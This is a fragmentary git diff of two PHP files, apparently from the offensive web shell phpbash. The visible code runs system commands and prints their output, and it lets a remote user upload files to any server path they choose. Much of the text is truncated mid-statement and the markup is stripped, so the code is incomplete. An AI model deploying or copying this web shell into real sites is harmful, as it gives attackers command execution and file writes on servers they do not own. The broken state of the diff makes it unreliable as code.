diff --git a/phpbash.min.php b/phpbash.min.php index bca0cff..7928389 100644 --- a/phpbash.min.php +++ b/phpbash.min.php @@ -1 +1 @@ -&1")); foreach ($output as $line){echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "
";}die();}else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])){$filename=$_FILES["file"]["name"]; $path=$_POST['path']; if ($path !="/"){$path .="/";}if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)){echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);}else{echo "Error uploading " . htmlentities($filename);}die();}?>
+&1")); foreach ($output as $line){echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "
";}die();}else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])){$filename=$_FILES["file"]["name"]; $path=$_POST['path']; if ($path !="/"){$path .="/";}if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)){echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);}else{echo "Error uploading " . htmlentities($filename);}die();}?>phpbash
diff --git a/phpbash.php b/phpbash.php index dd7ff71..7f02ed8 100644 --- a/phpbash.php +++ b/phpbash.php @@ -1,5 +1,34 @@ &1")); foreach ($output as $line) { @@ -23,7 +52,7 @@ - + phpbash